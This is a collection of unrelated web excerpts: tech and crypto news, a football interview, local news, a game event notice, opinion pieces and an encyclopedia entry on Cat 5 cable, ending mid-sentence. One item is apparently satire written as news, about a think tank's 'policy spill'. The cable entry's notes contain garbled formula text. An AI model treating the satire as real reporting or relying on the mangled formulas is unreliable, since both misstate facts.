“Miners can choose the size of the blocks they want to mine, with a default of 1 MB. It includes replay and wipeout protection.” For too long, Bitcoin has been held back by the centralized mining industry. GPU brings Bitcoin into the modern age with an exciting technological roadmap to enable massive on-chain scaling well into the future with decentralization. Most Bitcoin Proponents Unaware of this Project Even though it was announced back in July the news of the Bitcoin Gold fork is just starting to come around people’s radar. Some believe the announcement and the project’s website is a “troll attempt” to create confusion and dilute the power of the Bitcoin Cash fork and Segwit2x. The Bitcoin Gold protocol has available code on Github for review and has multiple social media accounts for Twitter, Facebook, and a Slack channel. Currently, there are over 250 members in the Bitcoin Gold Slack channel, and many of the visitors seem excited about the new fork. Even though the user-activated hard fork will take place on October 25 the full network launch is scheduled for November 1. Evil ASIC Manufacturers There is a lot of discussion happening on the team’s Slack channel and it seems the team has a lot of work to do if BTG developers hope to fork on October 25. For instance, at the moment there is no testnet for miners to test the protocol, reveals the BTG lead developer. “We are working on core protocol and will launch the testnet ASAP,” the BTG programmer reveals in a conversation on the team’s general chat Slack channel. “[Mining] profitability is determined by the price and mining difficulty, but the price is hard to predict,” he adds. The developer also throws out a few opinions throughout the general chat channel about mining centralization. “ASIC leads to centralization — Evil ASIC manufacturers want to take up Bitcoin,” the BTG developer emphasizes. News.Bitcoin.com briefly spoke with Bitcoin Gold’s lead developer who calls himself “H4x3” over the team’s Slack channel about the project. “I can confirm the PoW will be changed to Equihash and the fork date is October 25,” explains the developer. We sent some questions to Jack Liao and H4x3 because the lead developer told us our questions were “too sensitive” to answer alone. The BTG team has not yet responded to our emailed questions. Possible Reasons for a Very Unorganized and Confusing Fork Proposal It’s likely that many bitcoin proponents are viewing the project as a joke or another method of “crypto-trolling.” There’s a lot of good reasons people believe its a prank because the project seems extremely unorganized for a hard fork slated for the end of October. Further, there is speculation from community members about the team’s intentions to change the bitcoin algorithm to conform with GPU miners. Jack Liao manufactures GPU miners that can mine the Zcash algorithm Equihash and speculators believe this is the primary reason to clone bitcoin and make it GPU compatible. News.Bitcoin.com will be following the development of this story closely and will update this article if the BTG team responds to our questions. What do you think about the proposed Bitcoin Gold hard fork allegedly scheduled for October 25? Do you think this project is trolling or a joke? Let us know what you think in the comments below. Images via Shutterstock, Twitter, and the Bitcoin Gold Slack channel. Bitcoin News is growing fast. To reach our global audience, send us a news tip or submit a press release. Let’s work together to help inform the citizens of Earth (and beyond) about this new, important and amazing information network that is Bitcoin. -InFocus today debuted the Kangaroo Notebook, a $299 laptop featuring a dock with an 11.6-inch HD screen and two interchangeable Kangaroo Mini PCs running Windows 10. The Kangaroo Notebook will be available for preorder on Newegg in mid-October. When the Kangaroo debuted in October 2015, and its less portable big brother arrived in April 2016, we explained that the oxymoron “mobile desktop” really is the best way to describe the Kangaroos. They’re basically desktop PC towers shrunk down to the size of a phablet, sans screen. The Kangaroo Notebook, however, doesn’t deserve the Kangaroo name at all. It doesn’t require connecting a mouse, a keyboard, or a monitor. It’s a fully functional laptop with a keyboard, Synaptics ClickPad, battery, webcam, ports, a microphone, and speakers. InFocus envisions the Kangaroo Notebook being used by families that want to dedicate one module to financial and personal information while keeping another for apps, games, and movies. In other words, it’s for paranoid people who really don’t trust the idea of having separate accounts on the same PC. “With Kangaroo Notebook, we put the power to create private, individualized computing experiences directly into the hands of our customers,” Ben Chu, head of Kangaroo sales, said in a statement. “The modular design of this new mobile computing bundle gives our customers a different level of flexibility and control over how they want to manage personal computing, particularly in the home.” For reference, here are the full specs for the Kangaroo Notebook: OS: Windows 10 64-bit Home edition CPU: 1.44 GHz Intel Atom x5-Z8350 Graphics: Intel HD Graphics Memory: 2GB LPDDR3 RAM Storage: 32GB eMMC Wireless: Wi-Fi 802.11AC + a/b/g/n Intel Expansion: microSD TF slot (256GB max) Battery: 37Whr/5,000mAh Dimensions: 288.9 x 196 x 19.9mm Weight: 1.2kg Power: 36W(12V~3A) AC Adapter Notably missing is the fingerprint reader, which previous Kangaroos included. Instead, there is one slot for a Kangaroo Mini PC (though again, two ship in the box). And that’s what really makes the Kangaroo Notebook unique: You can swap out the whole PC for another one. The pitch is around customization, privacy, and security. But frankly, we expect you’ll stick to using just one. If you don’t have a monitor or TV to plug a Kangaroo into, the Kangaroo Notebook is for you. At $299, however, there are plenty of cheap Windows 10 laptops to choose from. -Ahead of legal, adult-use sales kicking off next year, San Francisco has created a new office to serve as a hub for all things cannabis. Approved at a meeting this week by the San Francisco Board of Supervisors, the Office of Cannabis will handle license applications and fees for the city and county, field questions and complaints, interact with state-level regulators, and act as an information repository for the public. It’s set to open by the end of the year. According San Francisco Chronicle reporter Rachel Swan, the ordinance creating the office passed on the same day as the municipal budget, which earmarks funds to get the office off the ground: The city budget included $700,000 to fund three Office of Cannabis positions — a manager, a principal analyst and a management assistant — along with overhead, website development and public outreach. Mayor Ed Lee also set aside $665,227 this year for five new Department of Public Health employees who would help oversee permitting for medical cannabis dispensaries. The city currently has 39 permitted dispensaries and 28 pending applications. During discussion of the ordinance, several of the supervisors raised concerns about race and gender equity in the cannabis industry, noting that the Bay Area has struggled to diversify its tech industry. In response, according to the meeting minutes, Supervisor Ahsha Safai moved to add language meant to promote inclusivity. “The Office shall ensure that the perspectives of communities that historically have been disproportionately impacted by federal drug enforcement policies are included and considered in all policy decisions,” Safai’s amendment says. It’s not yet clear what that will look like from a practical standpoint. Following debate and amendments, supervisors passed the ordinance unanimously. -On Tuesday, January 27th I enjoyed a very candid conversation with Oakland Raiders Quarterback, Derek Carr. Below is a transcription of our 20 minute chat. I’d like to note, speaking with Derek, it was very obvious that this young man is the same guy talking to the national media after an NFL game, his local media after a Raider practice, or a guy on the phone in Seattle who writes for a blog about the Raiders. Following is my interview with Carr about his rookie season, his offseason so far, and the future of the Raiders going forward. Patrick: How has your offseason been going? What has been your focus? Derek: Right now, its just letting my shoulder rest. I haven’t thrown a ball since the season, I’m trying to let that rest as much as possible. Coming off of my senior year of college, I had no rest. I went straight to training for the Senior Bowl, straight into the combine, straight into the workout, training camp and then the season. I haven’t stopped throwing for way over a year now. I thought it was real important to rest that. I’ve been working out real hard, trying to get stronger right now. Working to maintain the conditioning level. Patrick: Last season there were a couple close calls with some leg injuries, you were able to play through. Has your training been focused on preventative measures for that? Derek: Oh yeah, a lot of rehab type stuff. Like you said, preventative. I just praise God that it wasn’t worse. It could have easily torn, or broke a bone you know. I just praise God that I wasn’t hurt that bad. I was banged up, but at least I could fight through it a little bit and keep playing. All except the London game. Doing those kind of things in the offseason are important though, you want to make sure that your ligaments are strong, and all the parts of your body recover. Offseason is really important, especially when you have to go through a long season in the NFL. PF: When you fight through an injury like that, many people believe that earns you the respect from the older players in the locker room. Did you notice anything to that effect? DC: You know, I did. They all know you, but they don’t KNOW you yet. They don’t know what you really have deep down inside. When something goes wrong, or if you get banged up, how is he going to respond? All those things. You do your best to fight through those things. Sometimes there are things you can’t fight through. Like when I got my concussion against Detroit in the preseason. That’s something I couldn’t help. I tried to fight through it, but I couldn’t walk right. So I knew I was done for that game. (chuckles) PF: That’ll close it down quickly. DC: Ha. Oh, real quick. Especially when your left side isn’t working. But when its an ankle or a knee, if I think that I can play the next play, I’m going to do my best to play the next play. At times, it may have hurt us on 3rd downs, but I’m showing my teammates that I’m their guy and no matter what I’m going to be out there. PF: From watching your post game interviews, and mid-week interviews last season. Seeing how you grew from week to week and learning from every experience you had. Did you catch the NFC Championship Game, and what were you able to learn by watching that come back performance? DC: Oh absolutely! Not only do I play the game, but I’m the biggest football fan around. I love football, I love watching it, I love learning from it. I absolutely watched that game. Especially, I was watching my buddy, Davante Adams, who was playing in it, so I wanted to watch him, root for him. Watching the game, you watch Russell play, and he does a lot of things in his life that I respect and that I like, and his kind of character, the way he handles thing; so I love rooting for him as well. You watch him, he goes off and throws 4 picks, the NFC Championship, it is in your home stadium, you feel like you are letting your everybody down, but he kept his head down, kept the faith and kept fighting, kept believing, kept leading his teammates. Because games in the NFL are never over. That’s one thing that I learned, that game is never over. You keep playing. As I watch, you don’t have to do anything heroic you just have to do what you are taught. That’s exactly what he did on both of those touchdowns. He did what the coaches taught him. He checked the one pass play for the TD in overtime, he’s just doing what he was taught he wasn’t trying to do too much, and that’s something that I learned from it. PF: Speaking of the “not over till it’s over” I was at the game you played in Seattle. Toward the end of that game, I was thinking the exact same thing. DC: That’s another example. Seattle got that onside kick against Green Bay, if we get our on side kick, we get the ball and we are trying to drive to win it. That’s how close these games are. “I hope I play here for the rest of my career.” – Derek Carr PF: The wins everyone was hoping for last season, didn’t come along. But the young players on the team did great, obviously Khalil is up for Defensive Rookie of the Year. You had one of the most productive rookie seasons from a QB in the history of the NFL; With all that, what do you think you need to do, and the team needs to do to improve? DC: For me, I want to go out and be more efficient. This past year I said I’m going to go out and play as hard as I can, just do everything I possibly can to win a football game, throw it wherever I need to, try to fit it into windows to help us win. Record wise we weren’t doing very well, so I tried putting it all on my shoulders. There as a spurt in the middle of the season where I was turning the ball over, and that was related to me trying to do too much. So, I said, “ya know what, I’m going to finish the season off thinking about my team, and thinking about not turning the ball over.” That’s how I’ve played my whole life, but I was trying to prove something to people, and that’s not who I am. When I had that mindset, the team mindset, we went out and we won our last three games at home, against some really good football teams. That’s something I learned. No matter who you are in this league, you can’t do it on your own. There’s no doubt about it, I don’t care who it is, you cannot win a game on your own. When you try to, you’re going to screw it up for everyone else. Also I learned, we’re actually starting something really good here. The record might not show it, but people who pay attention to us and who know the Raiders, like yourself, you understand what we’re doing and what we’re building. Its going to take time, but our mindset is, we are trying to be playing at this time next year. We think that we can do that, obviously we have to add some pieces and keep working, and hopefully we are going to get there. PF: I remember at the beginning of the season, when they posted the schedule, a part of my heart sank, because I thought this was the hardest NFL schedule I’d ever seen. How do you think that schedule helped your development? DC: You’re exactly right, we played 8 of the top 10 defenses this year. The others we played were right up there anyway, there just wasn’t room for them in the top 10. (chuckles) It was good. Coach Olson said, “you will probably never play a schedule like this again, and this could be the best experience you could ever have.” He’d never seen a schedule like this. Going through it as a rookie QB with a brand new team we are trying to build, I think those are things people over look with this team. People don’t really necessarily pay attention to those things, and its sad. I know this league, and the only thing that matters is wins, so the fact that we can look back on it and say “hey, we did some pretty good things against some great defenses” that’s all good and well, but we know that all that matters is the wins. So we got to watch that film and try to push ourselves to be better next year knowing that in all honesty we played one of the best schedules you could ever play. We have a lot of confidence going forward, but that schedule was really good for us. PF: Have you had a chance to meet any of the new staff yet? DC: I did, I met them all. They are great. I think the Raider Nation is going to love them, honestly. I sat down, talked with them, I’m going to continue to meet with them. Its been great so far, they’ve been awesome. PF: The offseason is full of rumors, one has been (offensive coordinator) Musgrave wanting to install a no huddle offense. What would you think about running a no huddle offense? DC: I think it’d be awesome. It’s what I did in college. Getting up to the line of scrimmage, getting us in the right play, that’s what I’m used to. I have no problem doing that. It’s what the best players in the league do at the QB position, that’s what I want to do. The teams that are winning Super Bowls, those are the things those teams are doing. Getting to the line of scrimmage and putting it on the QB. PF: Woodson is back! How great is that, and how much inspiration did he have on the locker room last year. DC: He’s awesome. Just to watch a guy at his age run around playing like he’s 24 years old. No one questions him losing a step, no one questioned his ability to practice every day. The guy practiced every day. Played hard every single day, worked out every time. Never missed a meeting, never missed anything. He doesn’t know everything, but its pretty darn close. He knows a lot about this game, and watching him wanting to learn and get better, its an inspiration for us young guys. Its something we need, and we need to see. Him (Woodson) coming back shows his confidence in this team, the guy doesn’t have to play football. He has no financial problems. He doesn’t need to win a SB, he has one. He has every reason to go home and enjoy his family, but the guy wants to play again and that says a lot about his confidence in this football team. PF: Did you watch Marcel in the Pro Bowl? DC: I caught some of it on TV. I heard he had a few good plays, I was actually taking care of my son. (chuckles) My wife was cooking dinner. I couldn’t be more happy for him, he’s the best fullback in the league. PF: Marcel said before he left for the Pro Bowl that he was going to do a little recruiting for Free Agency while he was there. Have you done any of that? Reaching out to players, or putting a name in Reggie’s ear? DC: Absolutely. I already started talking to some guys, recruiting some guys. Obviously I can’t say any names, but I have started. I’m doing my best to help this team win, if I can help I’m going to. PF: One name who has been coming up as a possibility for the Raiders is, Julius Thomas from Denver. He was quoted saying he’d consider the Raiders a possibility because he grew up a Raider fan. He’s just waiting to see if the Raiders reach out to him. How much of an impact could he have on the offense? DC: Having him would be amazing. Obviously, I’d love to play with him. I’d love to throw him the ball. His family are big time Raider fans. I know a lot about him, I think he’s a heck of a player and I think he would fit in with the group we already have. If we could add him, it would be great. We’ll see what happens, see what the front office wants to do. He’d be a great addition for our team. PF: Julius said he’s a Raider fan, I’m starting to hear that more and more. Leonard Williams from USC is a Raider fan, Coach Del Rio grew up a Raider fan, even you grew up a Raider fan. Now that you’ve been in the organization for a full season, what do you think it is that draws players and coaches to the Raiders? DC: I think it’s that Silver and Black honestly. It’s the emblem. The mystique of the Raiders. The fear people used to have when they’d play us, and the fear we started creating again. Especially on the defensive side of the football in that last stretch in December. Once you get to know these fans, once you get around them, I can tell you I never want to play anywhere else. I hope I play here for the rest of my career. I love these fans, I love playing for Mr. Davis. God has been good to me, to allow me to play here, so I’m very thankful to be here. I think the fans are really what make it, the passion they have. No matter what we are doing, no matter how many wins or losses, to come running back on the field and hear the fans cheering for me. To come running out of tunnel and hear them go crazy even though we only have two (eventually three after the home finale) wins on the season. It’s really amazing, and I love them to death. -Two people have been injured after an experimental flying car crashed into a tree Friday morning near a school in Vernon, B.C. The aircraft clipped a fence behind Vernon's Ellison Elementary School, hit the tree and crashed a few metres from school property just before 9 a.m. PT. Made by a Florida company, the flying car is a combination of a plane engine, propeller and parasail attached to a dune buggy. RCMP spokesperson Gord Molendyk said there are indications the contraption had taken off from the airport in Vernon. "It looked like it was on its approach," Molendyk said. "There was motor sound and people looked up and it got into trouble and came through the fence and into the trees here." Molendyk said the pilot and his passenger had to be pulled from the tree. They suffered minor injuries and were taken to hospital. They have since been released. No one was hurt on the ground, although children from the school were preparing on the nearby grounds for a track and field day. It's believed Kelowna, B.C., resident Ray Siebring recently brought the fifth-ever flying car to Canada as a prototype and has been checking it out in a series of test flights across the Okanagan. A release from the Transportation Safety Board (TSB) confirmed the flying car was "an American corporately registered I-Tech Maverick SP Powered Parachute" that had crashed. The vehicle, known as "Maverick," uses a 100-metre runway to take off and flies under a parasail. But it also needs a 100-metre runway to make a safe landing. According to the manufacturer's website, the car can travel at speeds up to 160 kilometres per hour on land and up to 65 kilometres per hour in the air. It costs at least $94,000 to purchase, according to the site. The TSB is now investigating. -YALTA, CRIMEA—In what is being called the worst environmental disaster in the region’s history, millions of policy proposals gushed into the Black Sea on Thursday after a Brookings Institution think tanker ran aground off the coast of Crimea. “Cleanup crews are working around the clock to contain this massive flood of position papers on economics and global development,” said Brookings Institution president Strobe Talbott, adding that booms had been brought to the site to halt the spread of the nonpartisan research while skimmers had been deployed to collect the policy briefs from the ocean’s surface in hopes of preventing currents from dispersing them over a far greater area. “We’re doing our very best to limit the exposure of marine habitats to the analyses of sub-Saharan energy infrastructure, universal basic income, and automation in the labor market, but it could be months before we know the full extent of the damage.” Talbott went on to say that the Brookings Institution had already pledged $200 million toward cleanup efforts thanks to generous donations from the William and Flora Hewlett Foundation, the Hutchins Family Foundation, and the John D. and Catherine T. MacArthur Foundation. Advertisement -Taking RPG to the Next Level #SRPG Greetings, Lords! This is Fantasy War Tactics Support Team. The first to make a fine start of the relay weekend events will be Weekend Coocoo Dungeon Open Event! This will make a great use out of Devil’s Soul you lords will have received from Burning Week On-time Event J! In fact, the Lost Island will be available on the next weekend and all three bosses from the island will make special appearances! Do not miss these events starting from this weekend to claim additional items, gold, and rewards! Please refer below for further details On the first weekend, all Coocoo dungeons will be open! ▶ Event Period: 2016. 01. 23(Sat.) 5:00am – 01. 25(Mon.) 04:59am ▶ Event Information: All Nephthys dungeons (Flame Garden, Moonlight Garden, Underwater Garden) will all be open during the weekend. ▶ Event Note: - If you do not see those dungeons open during the event period, please re-login to check again. On the second weekend, The Lost Island Festival Event! ▶ Event Period: 2016. 01. 30(Sat.) 5:00am – 02. 01(Mon.) 04:59am ▶ Event Information: All the time travelers will make their appearance during the event period! [Featured Boss : Muang, Chenny, Nirvana] ▶ Event Note - Please re-login during the event period to play Thank you, always. -Featured image: The South Texas Project nuclear power facility in Bay City, Texas could be under extreme threat from historic flood waters, groups warned on Tuesday. (Photo: STP) As record-breaking rainfall and unprecedented flooding continue to batter the greater Houston area and along the Gulf coast on Tuesday, energy watchdogs groups are warning of “a credible threat of a severe accident” at two nuclear reactors still operating at full capacity in nearby Bay City, Texas. Three groups—Beyond Nuclear, South Texas Association for Responsible Energy, and the SEED Coalition—are calling for the immediate shutdown of the South Texas Project (STP) which sits behind an embankment they say could be overwhelmed by the raging flood waters and torrential rains caused by Hurricane Harvey. “Both the U.S. Nuclear Regulatory Commission and the STP operator have previously recognized a credible threat of a severe accident initiated by a breach of the embankment wall that surrounds the 7,000-acre reactor cooling water reservoir,” said Paul Gunter, director of the Beyond Nuclear’s Reactor Oversight Project, in a statement by the coalition on Tuesday. The groups warn that as Harvey—which on Tuesday was declared the most intense rain event in U.S. history—continues to dump water on the area, a breach of the embankment wall surrounding the twin reactors would create “an external flood potentially impacting the electrical supply from the switchyard to the reactor safety systems.” In turn, the water has the potential to “cause high-energy electrical fires and other cascading events initiating a severe accident leading to core damage.” Even worse, they added, “any significant loss of cooling water inventory in the Main Cooling Reservoir would reduce cooling capacity to the still operating reactors that could result in a meltdown.” With the nearby Colorado River already cresting at extremely high levels and flowing at 70 times the normal rate, Karen Hadden, director of SEED Coalition, warned that the continue rainfall might create flooding that could reach the reactors. “There is plenty of reserve capacity on our electric grid,” she said, “so we don’t have to run the reactors in order to keep the lights on. With anticipated flooding of the Colorado River, the nuclear reactors should be shut down now to ensure safety.” Last week, the STP operators said that safety for their workers and local residents was their top concern, but that they would keep the plant operating despite the approaching storm. Susan Dancer, president of the South Texas Association for Responsible Energy, said that as residents in Bay City—herself included—were being forced to leave their homes under mandatory evacuation orders, it makes no sense to keep the nuclear plant online. “Our 911 system is down, no emergency services are available, and yet the nuclear reactors are still running. Where is the concern for employees and their families? Where is the concern for public safety? This is an outrageous and irresponsible decision,” declared Dancer. “This storm and flood is absolutely without precedent even before adding the possibility of a nuclear accident that could further imperil millions of people who are already battling for their lives.” As Harvey hovers over the coastal region, heavy rains are expected to persist for days even as the storm system creeps toward to Louisiana in the east. But no matter how remote the possibility, said Gunter, “it’s simply prudent that the operator put this reactor into its safest condition, cold shutdown.” This work is licensed under a Creative Commons Attribution-Share Alike 3.0 License -The victims of the Bourke Street atrocity have received more than $2.2 million in compensation, new figures have revealed. In January, a car ploughed into crowds at a Melbourne CBD shopping district, killing six people and wounding 37 more. WorkSafe and Transport Accident Commission figures show just over $2.2 million has been given to the impacted families, reports The Age. People pay tribute leaving flowers at a temporary memorial on Bourke Street Mall Worksafe received claims for a total of $1.69 million from 70 people including families who lost loved ones and victims who suffered physical or mental harm. Of the 70 victims, 14 did not need time off work and only needed to cover medical costs, 38 have returned to work, and 16 have been unable to go back to work. Five victims are still suffering physical injuries and 11 are fighting mental health issues. The TAC want sent 106 claims amounting to $578,926 for three of the deaths, 14 physical injuries and 89 mental injuries. Claims were used to cover counselling, dependency benefits and reimbursement of travel and accommodation expenses stemming from hospital stays. More than 1000 people called the Victorian Emergency Helpline in the aftermath of the attack, many for mental health issues. The victims of the atrocity (pictured: one at the scene) have received more than $2.2 million in compensation A significant number of WorkSafe and the TAC victims were injured in the incident. Following the tragedy, the government set up a fund to provide financial support to assist the families most affected and to complement compensation. An Independent Panel was established to guide decisions about the fund. Witnesses and those affected are encouraged to seek help from the Victim Support Line 1800 819 817 -For years, the antique had been on a rickety support on a sideboard of Wendy Jones's home without anyone suspecting it was of such high value. Mrs Jones only took it to the show because her husband was taking some books. But she was startled when the 22-inch oval-shaped plate turned out to be the most valuable to have appeared on the BBC programme in its 30-year history. The plate was commissioned by the Prussian East India Company for King Frederick II, who set up the company in 1750. It was made from hard paste porcelain and decorated with the alms of the Hohenzollern family, the order of the black eagle, and the Maltese Cross. The plate was made between 1750 and 1755, and there are pieces of the service in museums across the world. Mrs Jones said: "The plate actually belongs to my son because he was left it by his grandmother. "He didn't have room for it in his London home so I had it. "One day it fell off the stand and crashed onto the sideboard but luckily it wasn't damaged.” As she left the house to go to the show in Aberglasney, Wales, she grabbed the plate and put it in a single Tesco's carrier bag. They can easily split,” she said. "When I heard how much it might be worth I was shocked. "On the way to the show the plate was on the back seat of the car, but on the way home I kept hold of it all the way.” She added: "We are not sure where the plate came from but my son's paternal grandmother did marry into a German family. "And the plate was made for the King of Prussia, so that's possibly how it ended up in our family.” John Axford, from Woolley and Wallis auction house in Salisbury, Wilts, who valued the plate, said: "It is a fantastic piece of a very rare Royal service.” -Received on 24.12.17: We are social activists and friends of Dmitry Polienko and we are starting a New Year campaign of solidarity with the Belarusian prisoner of conscience! Please send a postcard with some words of support to Dmitry! You can also post a photo of your postcard on social media and use the hashtag: #Free_Polienko It should be recalled that in October 2016, Dmitry Polienko was sentenced to 2 years suspended prison sentence for allegedly assaulting a police officer during a ‘Critical Mass’ cycling demonstration in Minsk. This Spring Dmitry was arrested again: the court overturned the suspended sentence and sent him to serve the sentence in Babrujsk prison colony. Let’s not wait for miracles! Let’s be a society that helps miracles come true! Write to Dmitry: Paliyenka Dzmitry Sikorskaha 1, PK-2, a.9 Babrujsk, Belarus 213800 -And, perhaps most importantly, he shows he thinks you’re stupid in the many ways he protects President Donald Trump from accountability. On Monday night, during a CNN-moderated town hall event in Wisconsin, he offered the following justification for opposing a congressional resolution that would censure Trump for coddling white supremacists: I will not support that. I think that would be—that would be so counterproductive. If we descend this issue into some partisan hack-fest, into some bickering against each other, and demean it down to some political food fight, what good does that do to unify this country? Ryan, who was recently gearing up for years’ worth of partisan investigations of President Hillary Clinton, says censuring Trump for coddling Nazis would be too partisan for his taste. What he hopes you’ll overlook is his own power to determine what is partisan and what is not. If a censure resolution passed the House overwhelmingly—reflecting a broad rejection of Trump’s comments after the white supremacist violence in Charlottesville, Virginia—it wouldn’t be partisan. What makes censuring Trump “partisan” is Ryan’s view that Trump doesn’t deserve it. But Trump does deserve it. Not only does he deserve it on a basic and obvious moral level, but he deserves it because significant, symbolic rebukes to white supremacy are effective means of driving it back into the discredited silence where it belongs. Ryan is fortunate, in a way, that the events in Charlottesville, and Trump’s response to them, occurred amid a lengthy congressional recess, with Republican elected officials scattered across the country rather than gathered in Washington, D.C. That is the one thing insulating Ryan and his party from answering for their apparent determination to see Trump clear of the political consequences of siding with neo-Nazis. But the winners who will benefit from Ryan’s good fortune aren’t Republicans in Congress or in the White House—they are the racists who will take note when the censure resolution fails. This isn’t theoretical. White supremacists were pretty happy with Trump’s initial response to Charlottesville, undeterred by his second, and absolutely thrilled with the unhinged defense of Nazi marchers he offered on the third go. By contrast, after upwards of 10,000 peaceful counterprotesters dwarfed a dismal gathering of white supremacists in Boston over the weekend, the anti-Muslim group ACT canceled scores of “America First” rallies scheduled for Saturday, September 9. -Category 5 cable, commonly referred to as Cat 5, is a twisted pair cable for computer networks. Since 2001, the variant commonly in use is the Category 5e specification (Cat 5e). The cable standard provides performance of up to 100 MHz and is suitable for most varieties of Ethernet over twisted pair up to 1000BASE-T (Gigabit Ethernet). Cat 5 is also used to carry other signals such as telephony and video. This cable is commonly connected using punch-down blocks and modular connectors. Most Category 5 cables are unshielded, relying on the balanced line twisted pair design and differential signaling for noise rejection. Cable standard [ edit ] The specification for category 5 cable was defined in ANSI/TIA/EIA-568-A, with clarification in TSB-95.[1] These documents specify performance characteristics and test requirements for frequencies up to 100 MHz. The cable is available in both stranded and solid conductor forms. The stranded form is more flexible and withstands more bending without breaking. Patch cables are stranded. Permanent wiring used in structured cabling is solid-core. The category and type of cable can be identified by the printing on the jacket.[2] Termination [ edit ] TIA/EIA-568-B.1-2001 T568A Wiring Pin Pair Wire Color 1 3 1 white/green 2 3 2 green 3 2 1 white/orange 4 1 2 blue 5 1 1 white/blue 6 2 2 orange 7 4 1 white/brown 8 4 2 brown TIA/EIA-568-B.1-2001 T568B Wiring[3] Pin Pair Wire Color 1 2 1 white/orange 2 2 2 orange 3 3 1 white/green 4 1 2 blue 5 1 1 white/blue 6 3 2 green 7 4 1 white/brown 8 4 2 brown A Cat 5e Wall outlet showing the two wiring schemes: A for T568A , B for T568B Category 5 patch cable in T568B wiring Cable types, connector types and cabling topologies are defined by TIA/EIA-568-B. Nearly always, 8P8C modular connectors (often referred to incorrectly as RJ45 connectors[5][6]) are used for connecting category 5 cable. The cable is terminated in either the T568A scheme or the T568B scheme. The two schemes work equally well and may be mixed in an installation so long as the same scheme is used on both ends of each cable. Variants [ edit ] The category 5e specification improves upon the category 5 specification by revising and introducing new specifications to further mitigate the amount of crosstalk.[7] The bandwidth (100 MHz) and physical construction are the same between the two,[8] and most Cat 5 cables actually meet Cat 5e specifications, though they are not specifically certified as such.[9] The category 5 was deprecated in 2001 and superseded by the category 5e specification.[10] Applications [ edit ] Category 5 cable is used in structured cabling for computer networks such as Ethernet over twisted pair. The cable standard provides performance of up to 100 MHz and is suitable for 10BASE-T, 100BASE-TX (Fast Ethernet), and 1000BASE-T (Gigabit Ethernet). 10BASE-T and 100BASE-TX Ethernet connections require two wire pairs. 1000BASE-T Ethernet connections require four wire pairs. Through the use of power over Ethernet (PoE), power can be carried over the cable in addition to Ethernet data. Cat 5 is also used to carry other signals such as telephony and video.[11] In some cases, multiple signals can be carried on a single cable; Cat 5 can carry two conventional telephone lines as well as 100BASE-TX in a single cable.[12][13][14][15][16] The USOC/RJ-61 wiring standard may be used in multi-line telephone connections. Various schemes exist for transporting both analog and digital video over the cable. HDBaseT (10.2 Gbit/s) is one such scheme.[17] Characteristics [ edit ] The use of balanced lines helps preserve a high signal-to-noise ratio despite interference from both external sources and crosstalk from other pairs. Insulation [ edit ] Outer insulation is typically polyvinyl chloride (PVC) or low smoke zero halogen (LSOH).[citation needed] Example materials used as insulation in the cable[24] Acronym Material PE Polyethylene FP Foamed polyethylene FEP Fluorinated ethylene propylene FFEP Foamed fluorinated ethylene propylene AD/PE Air dielectric/polyethylene LSZH or LS0H Low smoke, zero halogen LSFZH or LSF0H Low smoke and fume, zero halogen Bending radius [ edit ] Most Category 5 cables can be bent at any radius exceeding approximately four times the outside diameter of the cable.[25][26] Maximum cable segment length [ edit ] The maximum length for a cable segment is 100 m per TIA/EIA 568-5-A.[27] If longer runs are required, the use of active hardware such as a repeater or switch is necessary.[28][29] The specifications for 10BASE-T networking specify a 100-meter length between active devices.[30] This allows for 90 meters of solid-core permanent wiring, two connectors and two stranded patch cables of 5 meters, one at each end.[31] Conductors [ edit ] Since 1995, solid-conductor UTP cables for backbone cabling is required to be no thicker than 22 American Wire Gauge (AWG) and no thinner than 24 AWG, or 26 AWG for shorter-distance cabling. This standard has been retained with the 2009 revision of ANSI TIA/EIA 568.[32] Although cable assemblies containing 4 pairs are common, category 5 is not limited to 4 pairs. Backbone applications involve using up to 100 pairs.[33] Individual twist lengths [ edit ] The distance per twist is commonly referred to as pitch. Each of the four pairs in a Cat 5 cable has differing precise pitch to minimize crosstalk between the pairs. The pitch of the twisted pairs is not specified in the standard. Measurements on one sample of Cat 5 cable yielded the following results.[34] Pair color [cm] per turn Turns per [m] Blue 1.38 72 Green 1.53 65 Orange 1.78 56 Brown 1.94 52 Since the pitch of the various colors is not specified in the standard, pitch can vary according to manufacturer and should be measured for the batch being used if cable is being used in non-Ethernet situation where pitch might be critical. Environmental ratings [ edit ] United States and Canada fire certifications[35] Class Phrase Description Standards LSZH Communications low-smoke zero halogen NES‑711, NES‑713, MIL‑C‑24643, UL 1685 CMP Communications plenum Insulated with fluorinated ethylene propylene (FEP) and polyethylene (PE) and jacketed with low-smoke polyvinyl chloride (PVC), due to better flame test ratings. CSA FT6[36] or NFPA 262 (UL 910) CMR Communications riser Insulated with high-density polyolefin and jacketed with low-smoke polyvinyl chloride (PVC). UL 1666 CMG Communications general purpose CSA FT4 CM Communications Insulated with high-density polyolefin, but not jacketed with PVC and therefore is the lowest of the three in flame resistance. UL 1685 (UL 1581, Sec. 1160) Vertical-Tray CMX Communications residential UL 1581, Sec. 1080 (VW-1) CMH CSA FT1 Some cables are "UV-rated" or "UV-stable" meaning they can be exposed to outdoor UV radiation without significant destruction.[citation needed] Plenum-rated cables are slower to burn and produce less smoke than cables using a mantle of materials like PVC. Plenum-rated cables may be installed in plenum spaces where PVC is not allowed.[37] Shielded cables (FTP or STP) are useful for environments where proximity to RF equipment may introduce electromagnetic interference, and can also be used where eavesdropping likelihood should be minimized. Comparison with later standards [ edit ] The Category 6 specification improves upon the Category 5e specification by extending frequency response and further reducing crosstalk. The improved performance of Cat 6 provides 250 MHz bandwidth and supports 10GBASE-T (10-Gigabit Ethernet) for distances up to 55 meters.[10] Category 6A cable provides 500 MHz bandwidth and supports 10GBASE-T for distances up to 100 meters. Both variants are backwards compatible with Category 5 and 5e cables. Notes [ edit ] ^ Z 0 = R + j ω L G + j ω C {\displaystyle Z_{0}={\sqrt {\frac {R+j\omega L}{G+j\omega C}}}} f R L = R 2 π L {\displaystyle f_{RL}={\frac {R}{2\pi L}}} f G C = G 2 π C {\displaystyle f_{GC}={\frac {G}{2\pi C}}} f R L > f G C {\displaystyle f_{RL}>f_{GC}} corner frequency (or break frequency) is defined as f R L {\displaystyle f_{RL}} f R L {\displaystyle f_{RL}} Z 0 = L C {\displaystyle Z_{0}={\sqrt {\frac {L}{C}}}} [20] The characteristic impedance of a transmission line is given by. There are two important transition frequencies related this equation:and. Typically we haveand the(or) is defined asbecause at frequencies greater thanthe familiar "lossless" relationfor characteristic impedance holds true to excellent approximation. Unfortunately neither of the terms corner frequency nor break frequency are consistently used in the literature. Most often these frequencies are not given any special name, and the topic itself is glossed over in most modern texts. -Columbus Crew SC today announced that it has 